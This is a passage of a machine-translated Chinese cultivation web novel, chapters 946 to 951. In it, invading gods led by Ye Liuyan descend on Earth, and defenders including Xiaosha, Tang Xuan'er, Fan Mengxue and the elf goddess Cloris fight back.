    Hall nodded, and then solemnly said: "My lord, you have to be careful, these gods who descended are not easy people!"


    Xue An showed white teeth and smiled sensibly, "I know, but no matter who they are, they are dead! What I said, no one can be saved!"


    Seeing Xue An''s murderous smile, Hall secretly shuddered, but there was a trace of worry in his heart.


    He witnessed the scene of the gods coming.


    Any one is stronger than Odin.


    And the few people in the lead made Hall even more dare not look directly.


    Because of their power, even the light is distorted, making people unable to see their faces at all.


    There are so many helpers.


    Although the lord is strong, could it be the opponent of so many people?


    At this time, Xue An had released An Yan and Hu Ying from the Fu Bao Xiaolou.


    When the two of them heard that the instigator had already gone to the earth ahead of time, they couldn''t help but change their colors.


    Especially An Yan, his voice became trembling.


    "Husband, there will be nothing wrong on the earth... right!"


    Xue An shook his head, "Don''t worry, I won''t fall so soon! After all, I was fully prepared before leaving! Now our top priority is to go back immediately!"


    An Yan nodded immediately, "Okay!"


    Xue An took out the star boat and let everyone inside.


    Only then began to urge Xingzhou with all his strength and disappeared into this abandoned blood world in an instant.


    is different from the leisure when I came.


    Xue An was almost back home when he returned, wishing to rush back to the earth in an instant.


    Because he just spoke to comfort An Yan and said it was all right.


    But there is no bottom in his heart.


    Just as Hall said, none of the descendants of the gods are easy to be born with.


    If everyone on the earth collapsed before they could go back, the consequences would be unimaginable.


    Thinking of this, Xue An''s heart rose to kill him.


    If...It means that if something happens to the earth, even if Xue An gives the gods and spirits to the blood sacrifice, he will try his best to reverse the cause and effect to save everyone.


    Everyone, you must be good, wait for me to go back!

 Chapter 946： Beautiful and fragile planet

    Earth.


    Beijiang, beside Yunmeng Lake.


    At this moment, Yunmeng Lake has long become a world-famous blessed land.


    Because the aura here is so abundant that it even condenses in substance, it will turn into rain and fall every day, and all kinds of strange flowers and weeds grow on the ground.


    And in the misty Yunmeng Lake, there are countless aquariums with spiritual bodies.


    But the most striking thing is this hill beside Yunmeng Lake.


    said it was a hill, but it was actually towering into the clouds, and the mountain shone with a jade-like luster, which made people dare not look down upon it.


    Many people look in awe when they see this hill.


    is not only because of the topography here, but also because of the place where the fairy teacher Xue once lived.


    And I heard that Mr. Xue��s friends still live in the villa on the top of the mountain.


    This has cast a layer of mystery here.


    And just now.


    in the Tianzi No. 1 Villa on the top of the mountain.


    Xiaosha lay bored on the sofa watching TV.


    Zhang Xiaoyu waved seven or eight tentacles and massaged Xiaosha.


    "So boring!" Xiao Sha yawned long.


    Zhang Xiaoyu moved his head over, "Boss, we haven''t been out much recently. Should we go out to play?"


    As soon as he finished speaking, Xiao Sha knocked Octopus on the head, "Play and play, you know how to play! The last time you went out, you ended up doing it with a fried squid seller and almost killed him. As a result, I was banned by Sister Xuan''er for more than half a month. Do you dare to go out to play?


    Zhang Xiaoyu shrunk his neck a little aggrievedly, and muttered in a low voice, "Isn''t it because that guy actually dared to catch the spiritual sea clan for teppanyaki! I just caught fire for a while and beat him!"


    Xiaosha''s eyelids jumped at hearing, "The point is that you actually lost!"


    Zhang Xiaoyu laughed awkwardly, and then flattered: "Who let me have a good boss? Follow the boss and have everything to eat! I am a little brother, so naturally, I don''t need to be too powerful!"


    "Huh!" Xiao Sha just can''t do anything with this skinless and faceless Zhang Xiaoyu.


    You must know that it has been three years since Xue An left.


    In the past three years, the entire planet has changed tremendously.


    Because the aura has become stronger, people''s cultivation skills have also risen.


    Before the heavens could walk sideways, but now you are not a loose fairy and you are ashamed to say hello to people.


    And because of the watering of spiritual energy, the spiritual things between heaven and earth began to increase dramatically.


    For example, if you fish a net from the ocean, at least more than half of them can speak.


    This is also the reason why she took Zhang Xiaoyu out to play that day, and Zhang Xiaoyu was furious.


    Because when passing by the street stall, someone unexpectedly threw the living little octopus into the oil pan.


    This little octopus can talk, and when he enters the pan, he shouts pain.


    That''s why this chapter Xiaoyu completely ran away.


    At this moment, Tang Xuan''er opened the door and walked in, still carrying two bags of things in her hand.


    At this time, Tang Xuan''er had already broken through Sanxian and came to a half-step long life.


    may be due to the practice of Yuqing Zizai Zhenjuan, her temperament has become more and more noble, walking like a fairy in the moon palace.


    Seeing Tang Xuan''er coming back, Xiao Sha and Zhang Xiaoyu rushed up immediately.


    Xiaosha took the shopping bag that Tang Xuaner was carrying.


    Zhang Xiaoyu graciously brought slippers.


    Tang Xuan''er pursed her lips when she saw it, "You two are so diligent, do you want to do it again?"


    Xiao Sha smiled, then grabbed the roast chicken that Tang Xuan''er brought back along the way, and ate it hungrily, and said: "How is it possible! Sister Xuan''er has always been an idol in our hearts. It is the two of us who do something to idols." An honor!"


    "Bah, you two are mixed together, you don''t have any other skills, but your mouth is getting more and more glib!" Tang Xuan''er sipped.


    "Hee hee, sister Xuan''er loves me, hiss! Why don''t I get tired of this roast chicken?" Xiao Sha pretended to be innocent while eating.


    Tang Xuan''er waved her hand, "Okay, okay, don''t give me ecstasy soup! Tomorrow I will be guarded at home, you two will go out for a day, but remember, don��t get into trouble, have you heard?"


    "Yes! We promise to be honest, we will never cause you trouble and shame!" Zhang Xiaoyu waved his tentacles and tied a knot in the air to show determination.


    Tang Xuan''er couldn''t laugh or cry, put down her things, and walked into the inner room.


    There is a magic circle outside this room.


    Under the condensing of the magic circle, the spiritual energy is already astonishingly strong, and the ceiling and even the walls on all sides are covered with frost and snow.


    In the middle of the room, a light cocoon was breathing slowly.


    Tang Xuan''er sighed slightly looking at An Qing who was not unusual.


    "Xiao Anqing, you have been sleeping for three years, when will you wake up?"


    And Xiaosha, who was happily discussing where to play tomorrow, suddenly raised his head and looked at the sky outside the window with some confusion.


    "Boss, what''s wrong?"


    The smile on Xiaosha''s face gradually dissipated, "Something''s wrong!"


    "Why is something wrong?" Zhang Xiaoyu also followed Xiaosha''s gaze and looked out, but found nothing and asked in surprise.


    Xiaosha shook his head and looked solemn, "I can''t tell, but I just feel that something is wrong, as if... something big is about to happen!"


    "Could it be that the adults are coming back?" Zhang Xiaoyu waved his excited tentacles again and again.


    right now.


    Xiaosha stood up suddenly, and said sharply: "There are countless terrifying auras approaching crazily. Get ready!"


    Zhang Xiaoyu was scared silly, "Boss, are you kidding me?"


    The voice just fell.


    I heard a sneer coming from far away in space.


    "This...is the homeland of the Chinese, the earth?"


    With the voice, a powerful breath began to descend.


    As much as possible.


    The whole earth is trembling slightly.


    On the top of the dome, a huge starship began to slowly emerge.


    A man sitting on the sofa of the star boat podium was looking at the blue planet outside through the huge porthole, and then smiled faintly.


    "What a beautiful and fragile planet!"


    The appearance of the star boat naturally attracted the attention of the whole world.


    Because this star boat is simply too huge.


    even occupies most of the sky, and the gravitational force it brings makes the ocean start to become restless.


    Tang Xuaner naturally also sensed something wrong outside, and rushed out immediately.


    Xiaosha took a deep breath, and said with an extremely solemn expression: "Sister Xuan''er, don''t go anywhere, here is the protection of the magic circle left by an adult, the safest, I will go and take a look!"


    "But..."


    Tang Xuan''er hasn''t finished.


    Xiaosha had already risen into the sky, and when he arrived in the sky, he shouted coldly.


    "Who are you? Why come to my earth?"

 Chapter 947： Never yield

    This kind of momentum naturally attracted the attention of the entire Beijiang.


    After three years of development, the Dao Fa in Beijiang has prospered, and the strong have emerged in large numbers.


    Therefore, when the star boat just arrived, the experts in the entire Beijiang felt it all, jumping into the air one after another, looking up with solemn expressions.


    Because this star boat is simply too big, and the aura on it makes many people feel flustered.


    And when Xiaosha appeared in the sky and questioned.


    There was a slight commotion among the crowd, and many people were happy.


    "Master Xiaosha appeared!"


    "Now we have confidence!"


    Because of Xiaosha''s strength, he has been recognized as the number one in Beijiang in these three years.


    is Tang Xuan''er, who is aloof, and in terms of strength, she is far inferior to Xiao Sha.


    So seeing her appear, many people seemed to have taken a reassurance pill, and their minds became much calmer.


    At this time.


    The man in the star boat looked at him with time, his fingers tapped on the armrest of the seat unconsciously, and a trace of disdain appeared on his handsome but evil face.


    "A python dragon that has just formed, dare to shout in front of me?"


    said, the man waved his hand casually.


    A palm print landed on Xiaosha''s head out of thin air, and then fell in the air.


    "Be careful!" Many people exclaimed.


    Xiaosha was also shocked, because the attack came too fast, and there was no sign of it before.


    But immediately, Xiaosha recovered her calm, then snorted coldly, raising her hand to counter the blow.


    But as soon as Xiao Sha touched this palm print, the palm prints that were originally light and flirty, without any surprises, suddenly increased in power.


    Xiaosha felt like he was fighting against the whole world.


    only lasted one breath, Xiao Sha vomited blood and was smashed down from the sky.


    Boom!


    Xiaosha fell into Yunmeng Lake.


    And that palm print, followed by reluctantly, directly printed on Yunmeng Lake.


    There is no sound.


    Within a hundred miles, the misty Yunmeng Lake was completely evaporated directly under this palm.


    The aquatic people who were full of the lake did not even say a word, and their body and soul were destroyed.


    And the bottom of the lake, which was dry, was smashed into a huge bottomless pit by Xiaosha, which was no longer visible.


    The audience is dead.


    Everyone is stupid.


    just one blow.


    then drove Beijiang''s No. 1 Xiaosha into the ground, but the opponent did not even show his face.


    What a huge power gap?


    Immediately after, I heard Zhang Xiaoyu scream deafeningly, "Boss! Yunmeng Lake! Am I *you, I''m fighting with you!"


    said, Zhang Xiaoyu is about to jump into the air.


    And Tang Xuan''er stopped her and said in a deep voice: "You are going to die, I can feel that Xiao Sha is not dead!"


    Because of getting along day and night, Tang Xuan''er and Xiao Sha have established a close mind-to-heart connection, so she can feel that there is no accident.


    Zhang Xiaoyu was startled.


    The man in the star boat also noticed the crowd below, especially when he glanced over Tang Xuan''er, he couldn''t help being taken aback, and then said with interest.


    "Interesting, there are such amazing and stunning women in these places!"


    But just then.


    The bottom of Yunmeng Lake suddenly burst.


    Then he heard an extremely angry dragon roar that shook the world.


    A five-clawed golden dragon over a thousand feet long jumped out of it and cruised in the air.


    Zhang Xiaoyu shouted happily, "Boss is mighty!"


    And the many practitioners in Beijiang are also delighted.


    Some people who haven''t seen Xiaosha''s body can''t help but admire at this moment.


    "Master Xiaosha is really a five-clawed golden dragon!"


    "It''s steady now!"


    At this time, Xiao Sha raised the huge dragon head and roared at the star boat.


    "No matter who you are, you are dead today!"


    In the star boat, the man couldn''t help being slightly surprised.


    "It turned out to be a five-clawed golden dragon, I really underestimated you! But do you think that can change anything in this way?"


    Talking, the man leaned back on the chair and said lightly: "Wuhan, these ant-like things will be handed over to you!"


    In the shadow behind the man, a slender figure appeared, and then said respectfully: "Yes, Lord Shaojun!"


    After that, the figure of the woman disappeared and appeared in front of Xingzhou in an instant.


    at the same time.


    Xiaosha has also vomited an angry dragon''s breath.


    But when the woman appeared, she just pinched it.


    The dragon''s breath that was already burning was directly extinguished like a small flame.


    And the harem stood proudly in the sky, looking down at everyone blankly, and said lightly: "Master Young Master has the order, you are kneeling on the ground now, you can not die!"


    "Go to Nima!" Xiao Sha was already furious, and the dragon''s tail swayed sideways, and drew towards the woman.


    Since she started practicing in Qingmang Mountain, she hasn''t experienced the kind of violent loss just now.


    is especially in front of so many people, which makes Xiaosha, who has a very good face, full of anger, so he directly shows his body and wants to strangle these menacing bastards.


    But when Xiaosha''s dragon tail is already close to Gong Wujian.


    Gong Wujian''s indifferent face, like a playing card, showed a touch of sarcasm, "I want to die!"


    said, she waved with one hand and chuckled softly, "Seal!"


    Following her voice, an incomparably simple rune and seal character suddenly appeared on Xiaosha''s head, and then printed directly on top of Xiaosha''s head before she could react.


    Xiaosha stiffened all over, her figure shrank sharply, a human figure appeared in an instant, and then she fell straight down from the sky.


    The words come out the way!


    The crowd exclaimed.


    Zhang Xiaoyu did not hesitate to rush up, waving his tentacles all over, as it was at the last moment, supporting Xiaosha.


    But looking at Xiao Sha at this time, her face was as white as paper, her eyes closed tightly, and she no longer breathed.


    Zhang Xiaoyu trembled all over, and then let out a cry of sadness, "Boss!"


    at the same time.


    Gong Wujian stood with his hands in the air, and said coldly: "Young Master is here, you have only one way, kneel, or die!"


    Following her voice.


    Behind her, the figures of Odin, the blood **** Gaia, and many gods began to emerge gradually.


    The sky is full of gods occupying the sky, looking at the people on the ground with playful eyes.


    The violent momentum is even more surging.


    The monks in Beijiang were all silent.


    Ordinary people are also silent.


    And the people who saw this scene through the emergency broadcast TV screen were all silent because many monks had already yelled two words with expression on their faces after feeling the momentum.


    Da Luo!


    That''s right!


    This Gong Wujian, who stands high in the sky, stands with his hands holding hands, and looks indifferent, is a strong man of Da Luo.


    Under this almost crushing strength, how can everyone not be shocked?


    Gong Mu Jian was very satisfied with this effect and was about to speak.


    can be at this moment.


    only heard a cold female voice, "Chinese people, never surrender! Even if we die, we have to fight to death, not to steal a life!"


    Hearing the voice, everyone turned their heads and looked.


    I saw Tang Xuan''er standing in front of Villa No.1 Tianzi, her clothes fluttering like a fairy!

 Chapter 948： Dignified Chinese, how can you bow your head

    "It''s Miss Xuan''er!"


    "Girl Xuan''er is right! As a dignified Chinese, how can I bow to these alien races!"


    "If Mr. Xue were there, he would definitely not let these guys be so rampant!"


    Tang Xuan''er''s words were like sparks, instantly igniting the blood in everyone''s hearts, and the monks in Beijiang began to gather towards Yunmeng Lake.


    This sentence has also been broadcast throughout China through television and the Internet.


    All of a sudden, the land of Shenzhou shined brightly!


    Numerous monks began to fly towards Beijiang.


    Facing all this, Gong Wujian led the gods and spirits to stand in the air, glanced down at Tang Xuan''er, and then sneered.


    "After so many years, are your Chinese still so obsessed with it? Well, if you don''t give in, then go to death!"


    As he said, Gong Wujian raised his hand and blasted a palm.


    The palm print is like a mountain, hitting Villa No.1 Tianzi with the momentum of Mount Tai.


    "not good!"


    Seeing this scene, everyone cried out and lost their voices.


    Many people even close their eyes and cannot bear to look again.


    But just halfway through the palm print, a light curtain suddenly appeared in the void, directly shaking the palm print into powder.


    "What?" Gong Wujian was also surprised.


    Although her palm is not a full shot, but it is not mundane power to contend.


    But in the face of this sudden light curtain, only a layer of ripples was shaken, and it turned into powder.


    This naturally shocked Gong Wujian, who had always regarded himself highly.


    Seeing this scene, everyone breathed a sigh of relief.


    "It''s the formation left by Mr. Xue!"


    "Although these guys are arrogant, they are still helpless in the face of the formation set by Mr. Xue himself?"


    This discovery was like a shot of a booster, which inspired many monks who were originally full of despair.


    But at this moment.


    Gong Wujian''s face was pale and he shouted coldly, "Do you really think that you can be safe by hiding in it? Let''s do it together!"


    Following the voice, the gods behind her moved together.


    The rays of light converged into her palm, and the radiance was like holding a star.


    Then she lifted her palm and blasted her angrily.


    boom!


    The power of this blow is thousands of times stronger than just now.


    At least the light curtain in the void is slightly sunken.


    But it hadn''t waited for the triumph on Gong Wujian''s face to dissipate.


    A powerful sword aura suddenly appeared in the sky, and then slashed the gods with lightning speed.


    Gong Wujian snorted, and couldn''t help stepping back a few steps, and then a faint blood stain appeared on his forehead.


    Red blood soon shed.


    Gong Wujian wiped it with his hand, only to realize that he was injured.


    She was startled first, and then a look of horror appeared in her eyes.


    He was the body of Da Luo, but he was hurt by this sword aura.


    How sharp and unparalleled is this sword qi?


    And seeing her injured, everyone couldn''t help but rejoice in it.


    "Is it the sword intent left by Mr. Xue?"


    "It must be! Haha, now you have a lesson!"


    In these shouts.


    Gong Wujian''s complexion was ashen, and he was about to attack.


    At this moment.


    In front of her, a figure gradually emerged.


    Gong Wujian hurriedly bowed to salute, "Master Shaojun!"


    That''s right.


    It was the man who came to drive the star boat.


    now.


    Standing in the air, he looked around the audience with his eyes overlooking the ants, with a faint smile on his face.


    "Interesting, if I guessed correctly, this formation and sword intent should have been left by a person named Xue An!"


    The audience was solemn.


    Tang Xuan''er nodded, "Yes! Who are you?"


    "Me?" The man laughed blankly, and then said proudly: "I am Ye Liuyan, the son of Lihen Tiantianjun. Of course, you can also call me Master Young Lord!"


    Son of Heavenly King!


    There was a commotion in the crowd.


    Many monks have a solemn expression on their faces.


    Because they couldn''t understand the cultivation base and details of this Ye Liuyan at all.


    Even at this time, a monk who is good at arithmetic is stepping up the deduction, trying to figure out the clues of this person.


    But often just as soon as they have a hexagram, they bring the divination tools together and blow them up together to crush them.


    It can be seen that the identity and origin of this person are all protected by an extremely powerful force.


    Tang Xuan''er''s face was as cold as frost, "Why do you want to invade my earth, no matter if you are Tianjun or someone?"


    "Invasion?" Ye Liuyan chuckled, then looked at Tang Xuan''er playfully, "You can still remain calm in front of me, woman, you really surprised me!"


    "As for why you want to invade? That''s because what I want is to completely wipe out this world!" Ye Liuyan said coldly.


    His words made countless people angry.


    "Shameless!"


    "My earth and you haven''t had any holidays, why do you want to shoot so hard?"


    Tang Xuan''er''s expression changed slightly.


    At this moment, Zhang Xiaoyu carefully put down Xiaosha, who didn''t know his life or death, and then raised his head, pointing at Ye Liuyan in the sky and cursing.


    "You bastards*." After a burst of unbearable curses, Zhang Xiaoyu roared: "You wait, when my sire comes back, you will definitely get your cramps and skins, bones made into dishes!"


    Ye Liuyan''s face became colder, "Your sire? Ha ha, are you talking about Xue An who set up this formation?"


    "of course!"


    Ye Liuyan shook his head, "It''s a pity, you can''t wait any longer! Because he is already dead!"


    "what?"


    Ye Liuyan''s words were like a shock to the sky.


    It was so shocked that all the people who were there or not stood there.


    Xue An is dead?


    Mr. Xue, who is invincible and changed the whole world, is dead?


    How is this possible?


    Even Tang Xuan''er, who has always been cold and arrogant, couldn''t help yelling at this moment, "You nonsense!"


    "I''m nonsense?" Ye Liuyan smiled coldly, "I am the son of a dignified heavenly gentleman. I will use this kind of words to lie to you? And whether you believe it or not, it doesn''t matter anymore!"


    "Because all of you... have to die!"


    Speaking of this, Ye Liuyan laughed loudly.


    The laughter shook the world, and even the world began to tremble.


    Everyone looked pale.


    "You are talking nonsense, Brother Ang will never die!" With an angry shout, a figure flew crazy from Beijiang, no nonsense, raised his hand and blasted out a blow.


    This palm was extremely cold, and even the air seemed to be frozen wherever he went.


    But Ye Liuyan didn''t even move, just snorted coldly, "Small bugs, Feng!"


    Give an order.


    The rushing woman couldn''t even struggle, she vomited blood and flew out, and then fell to the ground, knowing her life or death.


    "Jingjing!" Two figures came from behind.


    It was Aunt Fatty and Uncle Xie.


    And it was Xie Jingjing who rushed forward just now.


    Before leaving, their family received Xue An''s exercises, and after three years of cultivation.


    Xie Jingjing made rapid progress, even entering a half-step longevity a month earlier than Tang Xuan''er.

 Chapter 949： Slaughter this world, leave no grass

    Although Uncle Xie and Aunt Fatty have limited talents, they have become half-steps at the moment.


    This incident.


    After the family learned the news, they rushed over immediately.


    But I didn''t expect Xie Jingjing to be alive or dead as soon as she arrived.


    The fat aunt landed to check her daughter''s injuries.


    Old Xie''s eyes were red, "You bastards, I want to fight with you!"


    As he said, he carried a chopper in his hand and rushed up desperately.


    Ye Liuyan didn''t even have any interest in looking at Lao Xie. To him, Lao Xie, who was not even a fairy, was not even an ant.


    Old Xie just rushed halfway, and a **** guard snorted coldly.


    Half of Lao Xie''s body burst into the air and fell to the ground.


    The kitchen knife in his hand slammed to the ground.


    This time, the audience was shocked.


    The fat aunt who had just picked up her daughter, saw Lao Xie explode half of her body, her eyes turned black and almost fainted to the ground.


    Tang Xuan''er exclaimed even more when she saw this.


    "Uncle Xie!"


    In the eyes of Tang Xuan''er during the past few years, Lao Xie was already an elder of her own.


    But I didn''t expect to die here and now.


    All those who witnessed this scene were miserable in their hearts.


    Ye Liuyan grinned at Tang Xuan''er, "Since Xue An has specially arranged the formation for you, you can be seen as a very important person to him. Don''t worry, I will not kill you now, but I will be in your face. Slowly kill all the people in this world, I hope you will get used to all this, hahahaha!"


    At the same time, countless streamers have flown from all over China.


    "A bunch of ants, kill them all!" Ye Liuyan said lightly.


    The gods behind immediately rushed up.


    These descending gods include powerful guards who follow Ye Liuyan from Lihentian, and others such as Odin, King of Norse and Gaia, the blood god.


    Every strength is extremely tyrannical.


    Although Hua Guo is now prospering in Taoism, it is full of spiritual energy and complete laws.


    But after all, the time is too short to form a climate.


    The strongest of these rushed cultivators is just a half-step golden immortal, and there is no golden immortal strong.


    In contrast to this disparity in strength, these gods often blow up several monks with a single shot.


    For a time, blood fell like rain in the sky.


    But in the face of such a **** and cruel scene, no monk chose to retreat, but continued to charge forward without fear of death.


    For a time.


    All those who watched this scene were silent.


    Tang Xuan''er''s nose was sour, tears came from her eyes.


    But Ye Liuyan''s expression sank.


    Because of this scene, he remembered a lot of bad memories.


    After so many years, why is this Chinese still so confessing to death?


    Thinking of this, he snorted and patted it directly.


    The crushing strength caused this palm to slap all the monks who came.


    Then Ye Liuyan raised his hand and said coldly: "Slay the whole world, remember, what I want is... not to leave a single inch of grass!"


    Give an order.


    The gods all bowed their heads.


    "Yes!"


    Then these gods scattered away.


    The whole world slid into the abyss of darkness.


    The blood **** Gaia headed straight for Europe excitedly.


    He could feel that there was a familiar atmosphere there.


    But when his figure just appeared over Europe.


    A series of dark forbidden curses were crazily superimposed on him like no money.


    Aging, slowness, plague...


    These negative effects, accompanied by a dark shock wave that was enough to blast the mountains into flat ground, caught Gaia off guard, who was originally excited.


    But after all, he is the body of a god, and although these attacks are powerful, they only hurt some of his fur.


    So he couldn''t help roaring: "Damn dark maggots, I will crush you all!"


    But the voice just fell.


    A howling of a banshee capable of turning a lower **** into a madman came into Gaia''s ears.


    This terrifying shock wave is only aimed at the soul, so even if it is stronger than Gaia, he can''t help but lose his mind.


    At this moment.


    A huge black bone dragon carrying the Titan Giant rushed directly. This Titan Giant was naked, and his horrible muscles were painted with runes. Even if it was just a slight jitter, these runes would flicker and show off. Its tyrannical power comes.


    But after rushing to the front, the Titan giant screamed and shook his arms, and grabbed the blood **** Gaia, and then the Titan giant''s muscles soared, and countless rune streams crazily gathered on the upper arm. go with.


    Under the tremendous force that was enough to tear the ancient giant life into pieces, Gaia''s divine body couldn''t bear it, and began to make a crackling sound.


    But at this moment.


    The blood **** Gaia had awakened from the confusion, and then grinned grimly.


    "Dark maggots, no matter how powerful you are, the maggots are maggots, and they can''t help me at all! Because God... is invincible!"


    With that, Gaia''s body was twisted like water, and he broke free from the control of the Titan in an instant.


    Then the injuries on his body recovered in an instant.


    "I''m sorry, next, it''s time for my meal!" Gaia said politely, with fearful fangs gradually appearing at the corners of his mouth.


    But at this moment, in the dark night sky, a throne took shape rapidly.


    Then a powerful dark pressure fell on Gaia''s body.


    Gaia was taken aback, and exclaimed: "The Throne of Darkness! Who can control the darkness of this world?"


    No wonder he was so panicked.


    Because only the dark supreme of one world is qualified to sit on the throne of darkness.


    And being able to be called the Supreme Darkness also shows how powerful this person is.


    Seeing above the Throne of Darkness, a woman wearing long leather boots and wearing a black dress gradually emerged.


    The woman''s appearance was like a dark angel, and her beauty contained a dark pressure that made people dare not look straight.


    Titan giants, dark bone dragons, and everyone standing in the dark all bowed to the woman with respect.


    That''s right.


    It was Fan Mengxue who appeared here.


    She looked at the blood **** Gaia indifferently, "Get out of this world Otherwise... die!"


    The blood **** Gaia''s eyes flickered, and then he grinned, "Your strength is indeed good, and you are both of the dark clan, it is better to take refuge in me, I promise to say a few words to Master Shaojun, and based on your appearance and qualifications, Maybe it will be valued by Master Young Lord, and even light up the godhead and become the true **** of the night!"


    The voice just fell.


    Fan Mengxue had already hurt the killer.


    Fan Mengxue hated these gods who invaded the earth for no reason.


    Therefore, the shot is a Xeon killer move.


    Gaia didn''t take it seriously at the beginning, but after a few interviews.


    He was a little panicked.


    You must know that his current godhead is incomplete, so his strength has dropped a lot.


    And Fan Mengxue now has the right time and place, and with the right time and place, Fan Mengxue actually beat Gaia to the left and right, and it is difficult to parry.

 Chapter 950： Cloris

    "Damn dark ants, I will smash you into pieces!" Gaia yelled with anger.


    But helpless, his current strength is not enough, so he can only stare.


    However, Fan Mengxue became more and more comfortable, all kinds of dark forbidden curses were unfolded generally, illuminating the night sky of the whole Europe.


    The European people looked up at the members of the dark council who were struggling to prevent the coming of the outside gods, with mixed feelings.


    In the face of such a great calamity, there is no distinction between north and south, no distinction between old and young people, and no distinction between Chinese and foreigners.


    Everyone has only one purpose, and that is to drive out all these **** gods who attacked for no reason.


    At this moment.


    He only heard the scream of Gaia in the sky, staggering back more than a dozen miles, one arm has been swallowed by darkness.


    Although this kind of injury is not fatal, his divine body can be repaired, but for this kind of wounds soaked by the power of darkness, it still takes a lot of divine power and blood energy.


    So he roared, "Odin, when are you going to watch the excitement?"


    With the voice.


    Just listen to a sneer from the void.


    "Gaia, you still don''t admit that you are trash, and even a group of dark races can''t deal with it. What is the blood god?"


    "You..." Gaia became angry.


    But his current strength is really not good, so in the face of Odin''s ridicule, he can only choose to hold back.


    At this time, the figure of the Nordic Protoss gradually appeared in the void.


    And standing at the forefront is God King Odin.


    I saw that his body was a hundred thousand meters tall, occupying most of the night sky, overlooking Fan Mengxue and everyone in the Dark Council, and then grinned.


    "If you give you another ten years, it is really possible for you to lighten the godhead and become the **** of darkness. Unfortunately, you will fall here now!"


    Under the power of Odin.


    Everyone in the Dark Council was pushed back hundreds of feet away.


    Only Fan Mengxue still stood in place, looking at Odin coldly, "The Norse King? You should be a local god, and you are willing to be a running dog of a foreign race and turn to deal with the earth?"


    Fan Mengxue''s question caused a trace of haze in Odin''s eyes.


    He didn''t want anyone to mention this disgraceful history, so he gave a cold snort.


    "court death!"


    After that, he lifted his palm and fell down.


    For him, dealing with a Fan Mengxue who is not even a low-level **** is not worth using weapons at all.


    But he didn''t expect that his hand was just halfway.


    Fan Mengxue urged the Dark Sage Emperor Jue with all his strength, her eyes suddenly became pitch black, and a black long sword that was more than ten thousand feet long appeared in her hands.


    Then Fan Mengxue raised his knife and slashed at Odin.


    Wherever the momentum passed, cracks appeared in the space.


    Odin was startled.


    "This breath..."


    Then there was a trace of fear in the depths of his eyes.


    Because he felt the power of this dark breath.


    In this breath, Odin seemed to see a king who swayed the heavens and was in charge of darkness.


    Faced with such a god, his so-called **** king is not even a hair.


    But now Fan Mengxue can''t control one ten-thousandth of this force at all.


    So Odin laughed grimly, "You surprise me more and more, but today, you are still going to die!"


    As he said, he crushed the long dark knife that Fan Mengxue had cut, and at the same time raised the Spear of Eternity in the other hand, stab Fan Mengxue straight.


    He has decided to kill Fan Mengxue completely.


    That''s why he will not hesitate to use the eternal spear of the artifact level.


    Wherever the Spear of Eternity passed, time and space stagnated.


    Fan Mengxue also felt a strong pressure to hold herself firmly, which made a look of panic in her eyes.


    At this time, the Spear of Eternity had pierced the void and appeared directly between her eyebrows. As long as she went further down, Fan Mengxue had to fall here.


    But at this moment.


    Black vines appeared out of thin air, directly blocking the front of the Spear of Eternity, and entangled them firmly, making it impossible to store them.


    "Huh?" Odin''s face sank.


    Because can stop his eternal spear, except for the peerless strong, only the gods with the godhead can!


    "Where is the god?" Odin shouted in a deep voice.


    At this moment, a light sigh came.


    Then in front of Fan Mengxue, a faint figure gradually emerged.


    After her face was fully revealed, Odin was shocked and roared in disbelief: "Coloris! You are the goddess of the forest, Koloris!"


    The woman shook her head and smiled bitterly, "My lord God, there are no forest goddesses anymore, some are just elves!"


    That''s right.


    It was the mother goddess of the night elves in London, who was once the goddess of the forest, Cloris.


    Odin looked at the Elf Mother God with blinking eyes.


    When he was the king of the Norse, Cloris was the **** of forest and nature under him.


    But after the Void Clan descended, this world experienced great changes.


    In order to survive, Odin turned to foreigners to deal with local gods.


    As a result, Cloris resolutely refused, and eventually turned back.


    In a rage, Odin smashed the Godhead of Cloris with the Spear of Eternity.


    He thought that Cloris would definitely die.


    Unexpectedly, by chance, the fragments of Chloes''s godhead encountered the tree of time and space. With the combination of the two, Chloes could be considered to have saved his life and gave birth to the night elves.


    These past events passed through Odin''s mind.


    finally.


    He couldn''t help sighing, "Clorris, no matter what you say, you are the former forest goddess! At first, I had no choice but to switch to the command of the adults in order to preserve the Norse Court, and that''s why I shot your godhead with one shot! "


    "But you have to believe, I have always felt guilty about this! Now as long as you nod your head, I will immediately give you a new high godhead and let you return to the court, how about?" Odin said.


    The Elf Mother God looked at Odin and said lightly: "Sounds really tempting! And your divine power is more than a thousand times stronger than before! It can be seen that you should be very satisfied with your choice!"


    Odin''s expression slowed down and was about to speak.


    The Elf Mother God looked down at the group of night elves with anxious faces on the ground, and said lightly: "But I always think a **** who abandons his followers and runs away can be called a **** Huh?"


    Odin was stunned, "You..."


    Vidal, the son of God behind him, stepped forward impatiently, "Cloris, don''t toast or eat fine wine, surrender now, my father God will give you a new position based on the previous face, otherwise it will be When your kingdom is destroyed!"


    The Elf Mother smiled, "You were able to kill me back then, and now it''s even more of a problem, and I also know that I am not your opponent!"


    "Just know it!" Vindali sneered.


    At this time, the elf mother turned her head to look at Fan Mengxue, and smiled faintly, "Mengxue, when her husband returns, tell him I''m leaving now! Ask him to help me take care of these children!"


    With that, the Elf Mother God looked at the night elves on the ground for the last time.


    Fan Mengxue was startled, "Mother God, what are you going to do?"


    The brilliance of the Elf Mother God is getting brighter and brighter, she said lightly: "Mengxue, I''ll help you...lighten up the godhead!"

 Chapter 951： First ascent

    With the voice.


    Countless brilliance floated from Cloris'' body, and then began to rush into Fan Mengxue''s body madly.


    Fan Mengxue was shocked, and she opened her mouth to say something, but she couldn''t move.


    Odin''s eyes were cold, "She is burning the godhead, kill her!"


    Vidal snorted and swung a sword.


    With the strength of the son of God King Vidal, killing the Elf Mother God is simply a breeze.


    But just when he was about to hit the Elf Mother God with this sword.


    A black bone dragon emerged out of thin air and suffered this blow.


    boom.


    After a muffled sound.


    The bone dragon let out a terrible cry, and then the bones all over his body broke apart and turned into powder.


    The necromancer Karthus who summoned this bone dragon opened his mouth and spit out a large mouthful of blood, and the whole person was rapidly aging.


    But anyway, this sword was blocked by him.


    Vidal''s face sank with anger, "A group of humble ants, dare to stop me? I want you all to become heroic puppets!"


    In the roar, he raised his sword and was about to cut it down.


    The Titan giant will rush forward to block it.


    The Dream Banshee grabbed him, "No, you have to die if you go!"


    The Titans smiled frankly, "I am the only one left in the Titans, and death is a relief!"


    "No! You are dead, what should I do?" The Dream Banshee hugged the Titan Giant from behind.


    "I know I am selfish doing this, but now I just want to be a selfish woman, because...I like you!"


    The titan trembled all over, tears shed from the tiger''s eyes.


    And seeing this scene, everyone in the Dark Council was silent.


